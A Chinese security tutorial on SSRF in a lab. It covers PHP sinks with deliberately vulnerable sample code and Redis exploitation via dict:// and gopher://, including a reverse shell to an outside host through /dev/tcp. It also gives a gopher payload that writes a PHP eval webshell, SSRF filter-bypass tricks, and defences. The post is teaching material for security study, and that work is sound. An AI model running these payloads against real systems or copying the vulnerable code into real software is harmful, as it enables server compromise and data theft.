前言
最近本来打算去实习面试,看到有人分享的某亭实习面试题,备受打击,于是有了这篇文章
漏洞原理:
SSRF,即服务器端请求伪造。一种由攻击者构造形成由服务器发起请求的漏洞。一般情况下,SSRF攻击的应用是无法通过外网访问的,所以需要借助目标服务端进行发起,目标服务器可以链接内网和外网,攻击者便可以通过目标主机攻击内网应用。
漏洞成因:
由于业务需要,服务端程序需要从其他服务器应用中获取数据,例如获取图片、数据等,但是由于服务器没有对其请求的目标地址做过滤和限制,导致黑客可以利用此缺陷请求任意服务器资源,其中就包含隐匿在内网的应用
SSRF一般存在点:
1、服务器主动发起网络请求,例如HTTP/HTTPS/Socket
2、有远程图片加载、下载的地方。(编辑器之类的有远程图片加载啊、头像等等)
3、网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
4、分享功能,通过URL分享网页内容
4、API远程调用
4、一切要求我们输入网址的地方和可以输入ip的地方,只要是服务器可以主动发起网络请求便可能出现
SSRF的危害:
1、对目标服务器所在的内网进行IP存活性扫描和端口扫描
2、识别内网WEB应用指纹,判断应用类型进行攻击
3、利用扫描的指纹信息判断开放的服务,从而对内网的主机进行攻击
4、攻击内外网的WEB应用,主要是GET参数就可以实现的攻击(比如Struts2,SQL注入等)
5、下载内网资源(利用file协议读取本地文件等)
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、进行跳板
8、无视cdn
9、使用特定协议攻击应用(gopher、dict、file、FTP/SFTP等)
产生漏洞的函数
file_get_contents()
fsockopen()
curl_exec()
file_get_contents:
<?php
$content=file_get_contents($_GET['url']);
$filename='./images/'.rand().'.jpg';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
if ($img){
echo $img;
}
else{
echo "false";
}
?>
这里可以扫描内网存在主机及开放端口
判断内网开放端口:
fsockopen函数:
<?php
$host=$_GET['url'];
$port=$_GET['port'];
# fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);//打开一个网络连接或者一个Unix套接字连接
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
# fwrite() 函数将内容写入一个打开的文件中。
fwrite($fp, $out);
# 函数检测是否已到达文件末尾 ,文件末尾(EOF)
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
fsockopen方法会去模拟一个HTTP协议,它会发送一个HTTP请求。主要就是如果去构造这个HTTP数据包。
fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如: fgets()、fgetss()、fwrite()、fclose()、feof()等)。如果调用失败,将返回 FALSE
以上函数是接受url和port来制定socket访问的地址和端口,由于地址和端口用户可控,所以可以用来SSRF漏洞的利用
curl_exec函数是危害最大的函数,也是需要重点讲的函数。
漏洞环境:
win7 + phpstudy
漏洞源码:
<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化一个新的curl会话,返回一个cURL句柄
curl_setopt($ch, CURLOPT_URL, $url);//设置一个cURL传输选项 需要获取的URL地址
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//执行一个cURL会话
curl_close($ch);
echo $res;//有回显
//无回显
if($res){
echo "True";
}else{
echo "False";
}
?>
获取参数url的值,使用curl进行访问。
curl_exec的使用需要3个条件:
1、PHP版本>=5.3
2、开启extension=php_curl.dll
3、--wite-curlwrappers(编译PHP时用,此时不需要,可忽略)
同时需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境
SSRF靶机(Windows 7):192.168.107.140
内网主机(kali):192.168.107.129,存在redis未授权
漏洞确认:
设置代理尝试抓包,这里看到是能够正常抓到包的:
而当我们访问ssrf.php?url=http://www.baidu.com时,无法抓到包,这是因为这个请求是由服务端发起的:
利用VPS监听本地端口
python3 -m http.server
构造一个特殊的接口或者文件名进行访问:
接收到数据包证实存在SSRF漏洞
漏洞利用:
有回显的情况:
1、利用file协议实现本地任意文件读取:
读取php文件:
2、探测内网存活主机及开放端口:
通过响应时间长短、标题等多种因素判断内网存活主机:
3、对内网WEB应用进行指纹识别:
利用dict协议可以操作redis服务:
利用contrab计划任务反弹shell
/ssrf.php?url=dict://192.168.107.129:6379/config+set+dir+/var/spool/cron/crontabs
/ssrf.php?url=dict://192.168.107.129:6379/set+dbfilename+root
/ssrf.php?url=dict://192.168.107.129:6379/set+book4yi+%22%5cn%5c%6e%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20%2di%3e%26%2fdev%2ftcp%2f192%2e168%2e107%2e137%2f8000%200%3e%261%5cn%5cn%22
/ssrf.php?url=dict://192.168.107.129:6379/save
攻击redis:
这里利用的是gopher协议,gopher协议是ssrf利用中最强大的协议。
gopher协议在各个编程语言中的使用限制:
gopher协议支持发出get、post请求。如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码。
gopher发送的数据包为十六进制数据。人工转换比较麻烦,这里我们利用一个负责转换gopher的payload的工具:
项目地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream
编译后,执行命令如下命令,用于监听网卡:
./sniffer -p6379
本地搭建好redis服务后,开启sniffer捕捉,并立即输入info命令查看redis服务,sniffer捕捉到的即为payload
gopher协议格式为 gopher://ip:port/_ + payload
这里之所以要加个_是因为gopher://ip:port/后面的第一个字符无法传出
这里我们将payload拷贝到burp数据包,第一次进行尝试,Kali主机监听6389:
目标主机并没有收到相应的请求,使用curl命令发送进行第二次尝试:
curl 'gopher://192.168.107.129:6379/_%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
可以看到成功执行命令,获取相关信息。可是现实中目标主机处于内网,不能这样利用
在网上查了查资料后,发现因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码
注意:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码
这里虽然显示500,但目标主机成功收到监听到相应请求,说明利用成功
这里我们利用向网站根目录写入一句话的方式getshell:
完整的payload为:
%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%72%65%64%69%73%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%32%39%0d%0a%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
构造burp数据包,发送恶意payload,这里将payload全部进行url编码:
成功写入一句话至站点根目录。
这里我们利用curl也可以
小结一下:
1、如果redis不存在未授权,需要先得到密码,然后利用auth命令获取认证:127.0.0.1:6379>auth 密码,再通过gopher协议发送
2、通过dict协议的话要一条条命令地执行,而gopher协议执行一条命令就够了
绕过方案:
1、利用@符号
ssrf.php?url=http://www.test.com@127.0.0.1:80
相当于访问127.0.0.1
2、利用短地址
使用在线短链生成器:短链在线生成 - 站长工具
3、利用特殊域名
http://127.0.0.1.xip.io/ # 会解析成本地的127.0.0.1
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io
http://foo.bar.10.0.0.1.xip.io
4、利用进制转换:
利用十六进制或者八进制,例如目标IP为:192.168.107.129
分别将这四段数字转换为16进制和8进制
16进制:c0、a8、6b、81
8进制:300、250、153、201
访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x
进制转换 - 在线工具
5、绕过localhost通过[::]
http://[::]:80/
http://0000::1:80/
本地复现失败
5、URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/
防御方案:
1、禁止302跳转,或者没跳转一次都进行校验目的地址是否为内网地址或合法地址。
2、过滤返回信息,验证远程服务器对请求的返回结果,是否合法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3、禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
4、设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5、限制请求的端口为http的常用端口,比如 80、443、8080、8090。或者根据业务需要治开放远程调用服务的端口
6、统一错误信息,避免黑客通过错误信息判断端口对应的服务
感谢各位师傅的无私分享!
参考如下:
SSRF漏洞利用
SSRF服务器端请求伪造漏洞基础 - 知乎
SSRF漏洞中使用到的其他协议(附视频+Py)
Gopher协议在SSRF漏洞中的深入研究(附视频讲解)